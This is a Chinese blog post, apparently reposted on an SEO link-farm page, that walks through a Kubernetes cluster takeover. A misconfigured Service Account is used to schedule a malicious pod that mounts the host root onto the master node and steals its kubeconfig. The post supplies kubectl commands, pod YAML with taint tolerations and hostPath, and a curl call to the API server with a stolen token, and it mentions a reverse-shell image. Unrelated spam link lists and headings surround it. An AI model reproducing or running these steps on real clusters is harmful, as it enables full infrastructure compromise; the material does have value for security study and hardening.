当前位置: 首页 > news >正文

建设厅八大员在哪个网站查询app推广软件

建设厅八大员在哪个网站查询,app推广软件,公司网站建设需要的材料,网站如何做原创文章01、概述 Service Account本质是服务账号,是Pod连接K8s集群的凭证。在默认情况下,系统会为创建的Pod提供一个默认的Service Account,用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。 …

01、概述

Service Account本质是服务账号,是Pod连接K8s集群的凭证。在默认情况下,系统会为创建的Pod提供一个默认的Service Account,用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。

当攻击者通过某个web应用获取到一个Pod权限时,如果RBAC权限配置不当,Pod关联的Service Account拥有创建Pod的权限。攻击者就可以使用污点容忍的方式,将挂载根目录的恶意Pod调度到Master节点,获取Master 节点上的 kubeconfig 文件,从而直接接管整个集群。

02、攻击场景

(1)Service Account赋予bypass对test名称空间拥有管理员权限。

kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass

771f4fb9dcc10253417924d10a6c3f77.png

(2)在Pod中,使用自定义的Service Account。

9b2589f55e3915aa31624490b50a6590.png

# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:name: pod-sanamespace: test
spec:serviceAccountName: "bypass"containers:- name: ubuntuimage: ubuntu:20.04command: ['/bin/sh','-c','sleep 24h']

(3)在Pod创建时,Service Account关联的凭证,会挂载到 /var/run/secrets/kubernetes.io/serviceaccount/ 目录,其中ca.crt是证书、namespace是Pod所属的命名空间,token是访问API Server的令牌 。

0543edd9df5b19304f47388e3c1f4ee6.png

03、攻击过程

(1)攻击方式:kubectl 命令行操作

在Pod中,下载kubectl命令行工具,使用kubectl auth检查权限,拥有当前名称空间中所有执行操作的权限,这就具备了获取集群权限的条件。

bd6ac17a9a172294fa009f4ac0041236.png

编写一个yaml文件,将节点的根目录挂载到容器的/data 目录,使用污点容忍度创建恶意Pod来对Master节点进行横向控制。

如下图:将构建的Pod成功调度到Mater节点。

2b47bd452a2668a87403d68b718c962f.png

yaml文件内容:

apiVersion: v1
kind: Pod
metadata:name: pod1
spec:nodeSelector:node-role.kubernetes.io/master: ""tolerations:- key: "node-role.kubernetes.io/master"operator: "Exists"effect: NoSchedulecontainers:- image: nginx:1.20name: pod1volumeMounts:- mountPath: /dataname: datavolumes:- name: datahostPath:path: /

攻击者成功窃取 kubeconfig 文件,将获得对 Kubernetes 集群的完全控制权限,从而能够任意操控和管理整个集群。

f28a7e2acd1eb3c4f40c83464f1c37f5.png

(2)攻击方式:curl 命令操作

首先,创建一个包含恶意代码的镜像,用于反弹Shell,利用curl 命令操作 Kubernetes API创建Pod。

ca3df5f71a6da6d4db609b3765f388f1.png

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)用curl创建pod
curl -k --header "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/yaml' \
-s -w "状态码是:%{http_code}\n" \
-d "$(cat /tmp/111.yaml)" \https://10.96.0.1/api/v1/namespaces/test/pods/

远程监听端口来接收Master节点创建的Pod反弹的shell连接,成功获取到kubeconfig文件。

c4a5679a0c0f7b4294c5353574b06cc2.png

http://www.ds6.com.cn/news/29856.html

相关文章:

  • 如何自己做网站江西seo推广
  • 福田的网站建设公司福州seo按天付费
  • 网站设计制作新参考价格网络营销推广方法有哪些
  • 弹性盒子做微网站域名注册局
  • java做简易网站学做网站需要学什么
  • 网站开发工具简介外链怎么发
  • 建教育网站需要多少钱班级优化大师官网下载
  • 武汉做网站公司方讯详细描述如何进行搜索引擎的优化
  • 在什么网站可以做推广葫岛百度seo
  • 做网站需要竞品分析么2022年seo最新优化策略
  • 如何做网站镜像网络游戏推广公司
  • 品牌营销策划书模板seo门户
  • 只做水果的网站网络销售话术900句
  • 中文网站 可以做谷歌推广吗一句吸引人的广告语
  • 怎么做网站管理济南seo优化外包服务
  • 网站开发有什么职位沈阳seo排名优化教程
  • 网站建设方案和报价表网络营销策划方案案例
  • 茂易网站建设无锡seo优化
  • 广州代理注册公司青岛seo青岛黑八网络最强
  • 免费做名片儿的网站如何优化关键词排名到首页
  • 珠宝网站形象设计seo网络营销推广排名
  • 食品包装设计用什么软件seo技术 快速网站排名
  • 可以做测试的英语网站制造业中小微企业
  • 上海网站建设的企国际新闻报道
  • 湖南送变电建设公司 网站网站技术外包公司
  • 天津市网站制作 公司百度一下你就知道下载
  • 建立自我追求无我是什么意思seo诊断a5
  • 手机特效视频制作软件免费东莞搜索优化十年乐云seo
  • 多语言网站建设 技术营业推广策略有哪些
  • 成都有什么好玩的娱乐场所武汉网站营销seo方案